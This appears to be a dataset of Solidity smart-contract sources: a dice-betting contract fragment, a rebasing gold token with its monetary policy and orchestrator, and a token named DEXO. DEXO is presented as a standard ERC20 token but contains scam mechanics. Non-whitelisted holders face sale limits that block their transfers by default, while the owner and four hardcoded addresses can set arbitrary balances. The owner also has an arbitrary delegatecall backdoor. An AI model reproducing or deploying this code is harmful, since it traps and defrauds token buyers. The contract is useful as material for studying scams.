bankroll -= amount;
}
} else if (generations[gen].action.actionType ==
ActionType.InvestorDeposit) {
if (investor == 0) {
investor = generations[gen].action.sender;
investorBankroll = generations[gen].action.amount;
} else if (investor == generations[gen].action.sender) {
investorBankroll += generations[gen].action.amount;
} else {
uint investorLoss = 0;
if (investorProfit < 0) {
investorLoss = uint(investorProfit * -1);
}
if (amount > investorBankroll + investorLoss) {
investor.send(investorBankroll + investorLoss);
investor = generations[gen].action.sender;
investorBankroll = amount - investorLoss;
investorProfit = 0;
} else {
generations[gen].action.sender.send(amount);
}
}
} else if (generations[gen].action.actionType ==
ActionType.InvestorWithdrawal) {
maxWithdrawal = (bankroll + investorBankroll) - outstandingPayouts;
if (amount <= maxWithdrawal && amount <= investorBankroll
&& investor == generations[gen].action.sender) {
investor.send(amount);
investorBankroll -= amount;
}
}
}
function emergencybeneficiary() {
if (generations[oldestGen].death == 0 ||
block.number - generations[oldestGen].death < SAFEGUARD_THRESHOLD) {
return;
}
for (uint i = 0; i < generations[oldestGen].interests.length; i++) {
uint wager = generations[oldestGen].interests[i].wager;
uint payout = generations[oldestGen].interests[i].payout;
generations[oldestGen].interests[i].lender.send(wager);
outstandingPayouts -= payout;
}
performAction(oldestGen);
generations[oldestGen].beneficiary = block.number;
generations[oldestGen].payoutId = -1;
oldestGen += 1;
if (oldestGen >= ARCHIVE_SIZE) {
delete generations[oldestGen - ARCHIVE_SIZE];
}
}
function beneficiaryAndBirth(bytes32 seed, int payoutId,
bytes32 freshSeedHash) onlyseedsources {
beneficiary(seed, payoutId);
birth(freshSeedHash);
}
function lookupGeneration(uint gen) constant returns (bytes32 seedHashA,
bytes32 seedHashB,
bytes32 seedA,
bytes32 seedB,
uint minWager,
uint maxPayout,
uint ofage,
uint death,
uint beneficiary,
uint numInterests,
bool hasAction,
int payoutId) {
seedHashA = generations[gen].seedHashA;
seedHashB = generations[gen].seedHashB;
seedA = generations[gen].seedA;
seedB = generations[gen].seedB;
minWager = generations[gen].minWager;
maxPayout = generations[gen].maxPayout;
ofage = generations[gen].ofage;
death = generations[gen].death;
beneficiary = generations[gen].beneficiary;
numInterests = generations[gen].interests.length;
hasAction = generations[gen].hasAction;
payoutId = generations[gen].payoutId;
}
function lookupInterest(uint gen, uint interest) constant returns (uint id,
address lender,
uint8 pick,
bool isMirrored,
uint wager,
uint payout,
uint8 die,
uint timestamp) {
id = generations[gen].interests[interest].id;
lender = generations[gen].interests[interest].lender;
pick = generations[gen].interests[interest].pick;
isMirrored = generations[gen].interests[interest].isMirrored;
wager = generations[gen].interests[interest].wager;
payout = generations[gen].interests[interest].payout;
die = generations[gen].interests[interest].die;
timestamp = generations[gen].interests[interest].timestamp;
}
function findRecentInterest(address lender) constant returns (int id, uint gen,
uint interest) {
for (uint i = nextGen - 1; i >= oldestGen; i--) {
for (uint j = generations[i].interests.length - 1; j >= 0; j--) {
if (generations[i].interests[j].lender == lender) {
id = int(generations[i].interests[j].id);
gen = i;
interest = j;
return;
}
}
}
id = -1;
return;
}
function toDie(bytes32 data) constant returns (uint8 die) {
uint256 FACTOR = 5789604461865809771178549250434395392663499233282028201972879200395656481997;
return uint8(uint256(data) / FACTOR) + 1;
}
function toContractDie(bytes32 seedA, bytes32 seedB,
uint nonce) constant returns (uint8 die) {
return toDie(sha3(seedA, seedB, nonce));
}
function hash(bytes32 data) constant returns (bytes32 hash) {
return sha3(data);
}
function combineInterest(uint8 dieA, uint8 dieB) constant returns (uint8 die) {
die = dieA + dieB;
if (die > 20) {
die -= 20;
}
}
function interestResolution(uint8 contractDie, uint8 lenderDie,
uint8 pick, bool isMirrored) constant returns (bool) {
uint8 die = combineInterest(contractDie, lenderDie);
return (isMirrored && die >= pick) || (!isMirrored && die < pick);
}
function lowerMinWager(uint _minWager) onlyowner {
if (_minWager < minWager) {
minWager = _minWager;
}
}
function raiseMaxNumInterests(uint _maxNumInterests) onlyowner {
if (_maxNumInterests > maxNumInterests) {
maxNumInterests = _maxNumInterests;
}
}
function setOwner(address _owner) onlyowner {
owner = _owner;
}
function deposit() onlyowner {
bankroll += msg.value;
}
function withdraw(uint amount) onlyowner {
Suitability memory suitability = findSuitableGen();
uint suitableGen = suitability.gen;
if (!suitability.isSuitable) {
return;
}
if (generations[suitableGen].hasAction) {
return;
}
generations[suitableGen].action.actionType = ActionType.Withdrawal;
generations[suitableGen].action.amount = amount;
generations[suitableGen].hasAction = true;
becomeMortal(suitableGen);
}
function investorDeposit() {
if (isInvestorLocked && msg.sender != investor) {
return;
}
Suitability memory suitability = findSuitableGen();
uint suitableGen = suitability.gen;
if (!suitability.isSuitable) {
return;
}
if (generations[suitableGen].hasAction) {
return;
}
generations[suitableGen].action.actionType = ActionType.InvestorDeposit;
generations[suitableGen].action.sender = msg.sender;
generations[suitableGen].action.amount = msg.value;
generations[suitableGen].hasAction = true;
becomeMortal(suitableGen);
}
function investorWithdraw(uint amount) {
Suitability memory suitability = findSuitableGen();
uint suitableGen = suitability.gen;
if (!suitability.isSuitable) {
return;
}
if (generations[suitableGen].hasAction) {
return;
}
generations[suitableGen].action.actionType = ActionType.InvestorWithdrawal;
generations[suitableGen].action.sender = msg.sender;
generations[suitableGen].action.amount = amount;
generations[suitableGen].hasAction = true;
becomeMortal(suitableGen);
}
function setInvestorLock(bool _isInvestorLocked) onlyowner {
isInvestorLocked = _isInvestorLocked;
}
function setSeedSourceA(address _seedSourceA) {
if (msg.sender == seedSourceA || seedSourceA == 0) {
seedSourceA = _seedSourceA;
}
}
function setSeedSourceB(address _seedSourceB) {
if (msg.sender == seedSourceB || seedSourceB == 0) {
seedSourceB = _seedSourceB;
}
}
} | 0 | 2,103 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DEXO {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,447 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.24;
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a)
internal
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
}
pragma solidity 0.4.24;
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
pragma solidity >=0.4.24 <0.6.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) internal initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) internal initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
pragma solidity 0.4.24;
contract UFragments is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
bool private rebasePausedDeprecated;
bool private tokenPausedDeprecated;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10000 * uint(10)**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
address public deployer;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function initialize(string name_, string symbol_, address owner_)
public
onlyDeployer
initializer
{
ERC20Detailed.initialize(name_, symbol_, uint8(DECIMALS));
Ownable.initialize(owner_);
rebasePausedDeprecated = false;
tokenPausedDeprecated = false;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
address[6] memory poolAddresses = [address(0xF941635f2B2Af7C85C037F1660DBE4558335Fafd), address(0xA18000a288d0FaB11aeb3F384744769C9a373D2a), address(0x9Da650E829B1BbF8533Cd02d331b798edEddED49), address(0x39ac8ac7954370708026E22E6C016F09a63d1d71), address(0x2B17835D8c5cE6Dc2893Ca9Bd51FC05Ad0136854), address(0x08EA09FC70Ff6F8eD25f3B9C1086D559818E5776)];
uint[6] memory amounts;
amounts[0] = 1000;
amounts[1] = 500;
amounts[2] = 500;
amounts[3] = 4000;
amounts[4] = 2000;
amounts[5] = 2000;
for (uint i = 0; i < poolAddresses.length; i++) {
uint256 poolVal = amounts[i] * (10 ** DECIMALS);
uint256 poolGons = poolVal.mul(_gonsPerFragment);
address poolAddress = poolAddresses[i];
_gonBalances[poolAddress] = poolGons;
emit Transfer(address(0x0), poolAddress, poolVal);
}
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
pragma solidity 0.4.24;
interface IOracle {
function getData() external returns (uint256);
function latestAnswer() external returns (int256);
}
contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
UFragments public uFrags;
IOracle public marketOracle;
IOracle public xauusdOracle;
uint256 private baseCpi;
uint256 public deviationThreshold;
uint256 public rebaseLag;
uint256 public minRebaseTimeIntervalSec;
uint256 public lastRebaseTimestampSec;
uint256 public rebaseWindowOffsetSec;
uint256 public rebaseWindowLengthSec;
uint256 public epoch;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
address public orchestrator;
address public deployer;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function rebase()
external
onlyOrchestrator
{
require(inRebaseWindow());
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
lastRebaseTimestampSec = now.sub(now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 exchangeRate = marketOracle.getData();
uint256 targetRate = xauusdOracle.latestAnswer().toUint256Safe();
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, supplyDelta, now);
}
function setMarketOracle(IOracle marketOracle_)
external
onlyDeployer
{
require(marketOracle == address(0));
marketOracle = marketOracle_;
}
function setXAUUSDOracle(IOracle xauusdOracle_)
external
onlyDeployer
{
require(xauusdOracle == address(0));
xauusdOracle = xauusdOracle_;
}
function setOrchestrator(address orchestrator_)
external
onlyOwner
{
orchestrator = orchestrator_;
}
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
function initialize(address owner_, UFragments uFrags_)
public
onlyDeployer
initializer
{
Ownable.initialize(owner_);
deviationThreshold = 10 * 10 ** (DECIMALS-2);
rebaseLag = 10;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 43200;
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
uFrags = uFrags_;
}
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
int256 targetRateSigned = targetRate.toInt256Safe();
return uFrags.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
pragma solidity 0.4.24;
interface YearnRewardsI {
function starttime() external returns (uint256);
function totalRewards() external returns (uint256);
function y() external returns (address);
}
interface UniV2PairI {
function sync() external;
}
interface ERC20MigratorI {
function totalMigrated() external returns (uint256);
}
pragma solidity 0.4.24;
contract Orchestrator is Ownable {
using SafeMath for uint256;
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
Transaction[] public transactions;
UFragmentsPolicy public policy;
YearnRewardsI public pool0;
YearnRewardsI public pool1;
YearnRewardsI public pool2;
YearnRewardsI public pool3;
YearnRewardsI public pool4;
YearnRewardsI public pool5;
ERC20Detailed public gold;
uint256 public rebaseRequiredSupply;
address public deployer;
UniV2PairI[3] public uniSyncs;
uint256 constant SYNC_GAS = 50000;
address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
function genUniAddr(address left, address right) internal pure returns (UniV2PairI) {
address first = left < right ? left : right;
address second = left < right ? right : left;
address pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
uniFactory,
keccak256(abi.encodePacked(first, second)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
return UniV2PairI(pair);
}
constructor () public {
deployer = msg.sender;
}
function initialize(
address policy_,
address pool0_,
address pool1_,
address pool2_,
address gold_,
address weth_,
address usdt_,
address uni_,
uint256 rebaseRequiredSupply_
) public onlyDeployer initializer {
require(deployer == msg.sender);
Ownable.initialize(msg.sender);
policy = UFragmentsPolicy(policy_);
pool0 = YearnRewardsI(pool0_);
pool1 = YearnRewardsI(pool1_);
pool2 = YearnRewardsI(pool2_);
gold = ERC20Detailed(gold_);
uniSyncs[0] = genUniAddr(gold_, usdt_);
uniSyncs[1] = genUniAddr(gold_, weth_);
uniSyncs[2] = genUniAddr(gold_, uni_);
rebaseRequiredSupply = rebaseRequiredSupply_;
}
function rebase()
external
{
uint256 rewardsDistributed = pool0.totalRewards().add(pool1.totalRewards());
require(rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= pool1.starttime() + 4 weeks, "rebaseRequiredSupply or 4 weeks since pool1 constraint");
require(msg.sender == tx.origin);
policy.rebase();
for (uint i = 0; i < uniSyncs.length; i++) {
address(uniSyncs[i]).call.gas(SYNC_GAS)(uniSyncs[i].sync.selector);
}
}
} | 0 | 1,222 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
